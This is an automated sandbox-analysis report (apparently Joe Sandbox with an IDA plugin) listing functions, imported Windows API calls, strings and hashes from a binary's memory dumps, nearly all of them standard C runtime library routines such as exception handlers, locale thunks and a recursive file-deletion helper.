Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 49c1b702f419c8ad0ef71248902cf9a0cc608428026b1214a1a74e14a7199740
Instruction ID: 9ab2117bcda30c2885cf15b27a27fee60fe8a54f353d8c5a67b70036354b8004
Opcode Fuzzy Hash: 49c1b702f419c8ad0ef71248902cf9a0cc608428026b1214a1a74e14a7199740
Instruction Fuzzy Hash: 6F318E23A18E4286F751BB1998417BDAE50AB50BB1F910236EA1D137D2CFBCFC498731

Function 00007FF7102D8C79 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7102D8CA7

Part of subcall function 00007FF7102D8DA0: GetModuleHandleExW.KERNEL32 ref: 00007FF7102D8DC5
Part of subcall function 00007FF7102D8DA0: GetProcAddress.KERNEL32 ref: 00007FF7102D8DDB
Part of subcall function 00007FF7102D8DA0: FreeLibrary.KERNEL32 ref: 00007FF7102D8E02

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: ce8bbb5f42c0c70f8d6cb0f644a2b9beff4cd55938d93e86477bcb8353de4fc0
Instruction ID: ca1a2d571a079b8f54b510533715dae3022e8a4023def28a3135ecad6aefc744
Opcode Fuzzy Hash: ce8bbb5f42c0c70f8d6cb0f644a2b9beff4cd55938d93e86477bcb8353de4fc0
Instruction Fuzzy Hash: 90219F33A25B05C9EB25AF64C4402EC7BA0FB04328F94463AD62C06BC5DF78E948C760

Function 00007FF7102D52A4 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D5209

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c73ce0dbb369862aa70d4e112b5ce78fdf9595fecbc559d5a15d5b25d9b89295
Instruction ID: 8237246494f8a04ed9263caabded2688cde04a42bf6459fe7c16a6cfd324d2f8
Opcode Fuzzy Hash: c73ce0dbb369862aa70d4e112b5ce78fdf9595fecbc559d5a15d5b25d9b89295
Instruction Fuzzy Hash: 39118723A1CA5142EA60BF55940027EFA64BF55BA0F944531EE4C57B95CF7CFC488760

Function 00007FF7102E5664 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102E5687

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: eb818cef5f83307f6059fb404af21ab2d8804f19963bc1c1518551d96bb4d1ba
Instruction ID: aef1523c32d0850b5140d17db408c396f804f4a199ca792b8678549071aa0adb
Opcode Fuzzy Hash: eb818cef5f83307f6059fb404af21ab2d8804f19963bc1c1518551d96bb4d1ba
Instruction Fuzzy Hash: CD216572618E8187DB61AF18D440379FAA0FB94BA4FA44234E65D477D9EF3DE8148B10

Function 00007FF7102CF6DC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102CF730

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 1d48df8ff45913ef4d2fe20e3a196162e4d6dc571d0fb1b63797b01b1d6529e7
Instruction ID: e4bd270a8cee942c80407af99e9dc6e5e441936de7cf31623d2850cd8b634d61
Opcode Fuzzy Hash: 1d48df8ff45913ef4d2fe20e3a196162e4d6dc571d0fb1b63797b01b1d6529e7
Instruction Fuzzy Hash: 5901A521A18B4241E944FB5659004B9EA95AB55FF0F884631DE5C17BD6DE3CF40A8310

Function 00007FFEEE1D76F0 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: __vcrt_initialize_locks__vcrt_initialize_winapi_thunks
String ID:
API String ID: 2444027679-0
Opcode ID: 267e1e33e985904d0087cc8bc5e2fb633dc7a44b110c5dfb642aea7bba0d9fe0
Instruction ID: 6ae2ef9b8096434a70864584fb3b69923618f3f3ff8b3f832632085073c7d7f2
Opcode Fuzzy Hash: 267e1e33e985904d0087cc8bc5e2fb633dc7a44b110c5dfb642aea7bba0d9fe0
Instruction Fuzzy Hash: 3E113D21E0974241FE615F25F4043B863A1AF88BE0F5B8636D5ED063F9DFACE981C602

Function 00007FF7102C81A0 Relevance: 1.5, APIs: 1, Instructions: 19libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7102C86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7102C3FA4,00000000,00007FF7102C1925), ref: 00007FF7102C86E9

LoadLibraryExW.KERNELBASE(?,00007FF7102C5C06,?,00007FF7102C308E), ref: 00007FF7102C81C2

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: ByteCharLibraryLoadMultiWide
String ID:
API String ID: 2592636585-0
Opcode ID: 99459516253cb9cb4854e4c73e6f2a87dddee0b16df49a4a0f63266b22594f97
Instruction ID: 799ae691fefbf6b69261927d94b6e9027e1aa0cce26d8f7834ee766c34be16b1
Opcode Fuzzy Hash: 99459516253cb9cb4854e4c73e6f2a87dddee0b16df49a4a0f63266b22594f97
Instruction Fuzzy Hash: A6D0C201F24A5181FA44BB77BA4657999519F8ABE0F98C034EE5C07B46DC3CE0840B04

Function 00007FF7102DC90C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF7102CFFB0,?,?,?,00007FF7102D161A,?,?,?,?,?,00007FF7102D2E09), ref: 00007FF7102DC94A

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: b18cfb789f6bc806f768d700ed4d2a41d5d7e56d76a43a128583cd408f8141a4
Instruction ID: b66641a7b901ad7decbccf79eba50a5acf22d1946a12d6b050cadf510844d3de
Opcode Fuzzy Hash: b18cfb789f6bc806f768d700ed4d2a41d5d7e56d76a43a128583cd408f8141a4
Instruction Fuzzy Hash: DCF05E02B1DA8B45FE54767158213B59A805F44770FE84630E82E473C1DE2CF8498730

Non-executed Functions

Function 00007FFEEE1CFBE0 Relevance: 42.5, APIs: 11, Strings: 13, Instructions: 485COMMON

Download Yara Rule

Strings

EnumSystemLocalesEx, xrefs: 00007FFEEE211988
LCIDToLocaleName, xrefs: 00007FFEEE211D2B
GetLocaleInfoEx, xrefs: 00007FFEEE211A92
CompareStringEx, xrefs: 00007FFEEE211903
AreFileApisANSI, xrefs: 00007FFEEE21187E
LocaleNameToLCID, xrefs: 00007FFEEE211DAF
GetUserDefaultLocaleName, xrefs: 00007FFEEE211B9C
IsValidLocaleName, xrefs: 00007FFEEE211947, 00007FFEEE211A51, 00007FFEEE211B5B, 00007FFEEE211BE0, 00007FFEEE211C21, 00007FFEEE211C65, 00007FFEEE211D6F
RoInitialize, xrefs: 00007FFEEE2119CC, 00007FFEEE211AD6
GetTimeFormatEx, xrefs: 00007FFEEE211B17
AppPolicyGetThreadInitializationType, xrefs: 00007FFEEE2118C2
LCMapStringEx, xrefs: 00007FFEEE211CA6
GetDateFormatEx, xrefs: 00007FFEEE211A0D

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID:
String ID: AppPolicyGetThreadInitializationType$AreFileApisANSI$CompareStringEx$EnumSystemLocalesEx$GetDateFormatEx$GetLocaleInfoEx$GetTimeFormatEx$GetUserDefaultLocaleName$IsValidLocaleName$LCIDToLocaleName$LCMapStringEx$LocaleNameToLCID$RoInitialize
API String ID: 0-3669283627
Opcode ID: 0a41683f40b259b1e67c6c9bde6614169f6c19f14045b61a5e850a46e33da5b2
Instruction ID: f72d3948a5a94d978c178ac71506f0eca0dcc128a5fe543af2946e5ff6bf49c0
Opcode Fuzzy Hash: 0a41683f40b259b1e67c6c9bde6614169f6c19f14045b61a5e850a46e33da5b2
Instruction Fuzzy Hash: 4F125064B0960782FE599F19F8513B427D2AF8C784B4B513ACC8D9B374FEACF9449202

Function 00007FFEEE1CD030 Relevance: 31.9, APIs: 16, Strings: 2, Instructions: 364COMMON

Download Yara Rule

APIs

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1CD152
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1CD1B8
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1CD212
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1CD258
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1CD25E
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1CD2A4
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1CD2AA
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1CD2F5

Strings

LCMapStringEx, xrefs: 00007FFEEE1CD178
FlsGetValue, xrefs: 00007FFEEE210BC4, 00007FFEEE210C56, 00007FFEEE210CE1, 00007FFEEE210D69

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: ErrorLast
String ID: FlsGetValue$LCMapStringEx
API String ID: 1452528299-552164261
Opcode ID: f0d041f4b4fc85b9cdf17ef866bfe8f9e5e967b850e0db7c2084dec861ba1d8c
Instruction ID: 97f9acfdd293b07b20211e6c6139815b6d6506753dfb8d6c0264bf9b484c3ffc
Opcode Fuzzy Hash: f0d041f4b4fc85b9cdf17ef866bfe8f9e5e967b850e0db7c2084dec861ba1d8c
Instruction Fuzzy Hash: 28E17265B08B4282EA589F55F45137833A1AF8CB84F474136CE8E97375EFBCE9848302

Function 00007FF7102C79B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,00007FF7102C7EF9,00007FF7102C39E6), ref: 00007FF7102C7A1B
RemoveDirectoryW.KERNEL32(?,00007FF7102C7EF9,00007FF7102C39E6), ref: 00007FF7102C7A9E
DeleteFileW.KERNEL32(?,00007FF7102C7EF9,00007FF7102C39E6), ref: 00007FF7102C7ABD
FindNextFileW.KERNEL32(?,00007FF7102C7EF9,00007FF7102C39E6), ref: 00007FF7102C7ACB
FindClose.KERNEL32(?,00007FF7102C7EF9,00007FF7102C39E6), ref: 00007FF7102C7ADC
RemoveDirectoryW.KERNEL32(?,00007FF7102C7EF9,00007FF7102C39E6), ref: 00007FF7102C7AE5

Strings

%s\*, xrefs: 00007FF7102C79E2

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 37c75c647de740c4d03e434983ba542f23ef98c0d39288f6f50529afbb256bed
Instruction ID: b54c1747e3f2ea37ddd525ee615bfaaa4371c2f43a82d816aff29c4889bda2d2
Opcode Fuzzy Hash: 37c75c647de740c4d03e434983ba542f23ef98c0d39288f6f50529afbb256bed
Instruction Fuzzy Hash: BC418D21A2CE4295EB20BB24E5545BEA761FB947B4FC00232D99D52794DF3CF64ECB20

Function 00007FF7102CC44C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7102CC468
RtlCaptureContext.KERNEL32 ref: 00007FF7102CC495
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7102CC4AF
RtlVirtualUnwind.KERNEL32 ref: 00007FF7102CC4F0
IsDebuggerPresent.KERNEL32 ref: 00007FF7102CC544
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7102CC561
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7102CC56C

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 59201671b846c18328c4c6cdbad1e823a2b0fec8eaed916d44c3dc4e1cb48f19
Instruction ID: e95177c0613eecbf49913d1a9bcbca309b6d0c280c5df1230882e4850c34aa18
Opcode Fuzzy Hash: 59201671b846c18328c4c6cdbad1e823a2b0fec8eaed916d44c3dc4e1cb48f19
Instruction Fuzzy Hash: 84316D72618F8186EB60AF60E8403EEB764FB84754F84403ADB4D57B98DF38E548C720

Function 00007FF7102D9924 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7102D999D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7102D99B5
RtlVirtualUnwind.KERNEL32 ref: 00007FF7102D99F0
IsDebuggerPresent.KERNEL32 ref: 00007FF7102D9A29
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7102D9A33
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7102D9A3E

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: f336cc4ee628281f12481126c86b188c106f14650002c00baa1860decbda2c10
Instruction ID: f734927f2a49a84ac24edb6f62906e2ac9ff7c7cb767a393f19f47b46c99b962
Opcode Fuzzy Hash: f336cc4ee628281f12481126c86b188c106f14650002c00baa1860decbda2c10
Instruction Fuzzy Hash: 3A319332618F8185DB60DF25E8402AEB7A4FB88764F900136EB8D57B55DF3CE549CB20

Function 00007FFEEE230F20 Relevance: 9.1, APIs: 6, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.API-MS-WIN-CORE-RTLSUPPORT-L1-1-0 ref: 00007FFEEE230F92
RtlLookupFunctionEntry.API-MS-WIN-CORE-RTLSUPPORT-L1-1-0 ref: 00007FFEEE230FAA
RtlVirtualUnwind.API-MS-WIN-CORE-RTLSUPPORT-L1-1-0 ref: 00007FFEEE230FE5
IsDebuggerPresent.API-MS-WIN-CORE-DEBUG-L1-1-0 ref: 00007FFEEE231022
SetUnhandledExceptionFilter.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE23102C
UnhandledExceptionFilter.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE231037

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 267245f3bd38f2c02141a155506c253c2953b48b1ae2e079d631393d28aeaf4b
Instruction ID: 338aa4b0bc140d59b832e893565a4988610a15c44189a8415375cdedac5c0d42
Opcode Fuzzy Hash: 267245f3bd38f2c02141a155506c253c2953b48b1ae2e079d631393d28aeaf4b
Instruction Fuzzy Hash: E3311E76614B8286EB60DF25E8403AA73A4FBC8784F460136DB8D47B69DFBCD545CB01

Function 00007FFEEE265E64 Relevance: 7.8, APIs: 5, Instructions: 327fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FFEEE265EDC
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FFEEE266196
WriteFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FFEEE2661E6
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE2662B9
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE266318

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: 5e1b83992b63a47b5d58ea9a1a8ea21678f5dac8a57e374f4ac3bcdce7b8afee
Instruction ID: a5af044485283e639c0358af399a3f04752e2688319dd806106cb382a4a96fb6
Opcode Fuzzy Hash: 5e1b83992b63a47b5d58ea9a1a8ea21678f5dac8a57e374f4ac3bcdce7b8afee
Instruction Fuzzy Hash: 60D10572B18A9289EB10CF74F4402AD37B1F789798F164236DE8E57BA9DE78D446C301

Function 00007FF7102E0B84 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102E0BD0
FindFirstFileExW.KERNEL32 ref: 00007FF7102E0CDA

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 88c6eeb3815b689bec9e785de6a4435637107cd6a4a104e99c849aa3a7604df1
Instruction ID: 9a6751d48dd4ca2d53db9ded90ede848f4fb2065f2bb27e24210d6760ddaa390
Opcode Fuzzy Hash: 88c6eeb3815b689bec9e785de6a4435637107cd6a4a104e99c849aa3a7604df1
Instruction Fuzzy Hash: 64B1B722B58E8241EA61AB6198501B9EB91EB44BF4FC45132FD5D27B85DF3CF48AC320

Function 00007FFEEE22FA48 Relevance: 7.7, APIs: 5, Instructions: 200COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFEEE1D2FE0: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00007FFEEE232851), ref: 00007FFEEE1D2FEA
Part of subcall function 00007FFEEE1D2FE0: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00007FFEEE232851), ref: 00007FFEEE1D3030

Part of subcall function 00007FFEEE1D2FE0: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,00007FFEEE232851), ref: 00007FFEEE1D3083

GetUserDefaultLCID.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,00000000,?,00000092,?), ref: 00007FFEEE22FC10
IsValidCodePage.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,?,?,00000000,?,00000092,?), ref: 00007FFEEE22FC4B
